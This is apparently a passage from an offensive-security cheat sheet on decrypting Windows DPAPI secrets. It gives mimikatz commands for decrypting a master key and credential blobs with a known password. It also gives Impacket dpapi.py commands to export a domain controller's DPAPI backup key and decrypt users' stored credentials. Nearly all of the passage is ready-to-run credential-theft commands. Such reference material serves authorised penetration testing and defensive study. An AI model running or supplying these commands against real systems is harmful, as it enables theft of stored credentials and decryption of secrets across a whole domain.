Decrypt manually offline with known plaintext password:

```
mimikatz # dpapi::masterkey /in:00ff00ff-00ff-00ff-00ff-00ff00ff00ff /sid:S-1-5-21-4124311166-4116374192-336467615-500 /password:Passw0rd!
mimikatz # dpapi::cache
mimikatz # dpapi::cred /in:00ff00ff00ff00ff00ff00ff00ff00ff
```

## Impacket

Retrieve the domain DPAPI backup key (never changes) from a DC to decrypt master key and blobs:

```
$ dpapi.py backupkeys --export -k -no-pass -t DC01.megacorp.local
$ dpapi.py masterkey -file ./Users/Administrator/AppData/Roaming/Microsoft/Protect/<SID>/00ff00ff-00ff-00ff-00ff-00ff00ff00ff {-password 'Passw0rd!' -sid <SID> | -pvk 'G$BCKUPKEY_<GUID>.pvk}
$ dpapi.py credential -file ./Users/Administrator/AppData/Roaming/Microsoft/Credentials/00ff00ff00ff00ff00ff00ff00ff00ff -key 0x<HEX_MASTER_KEY>
```
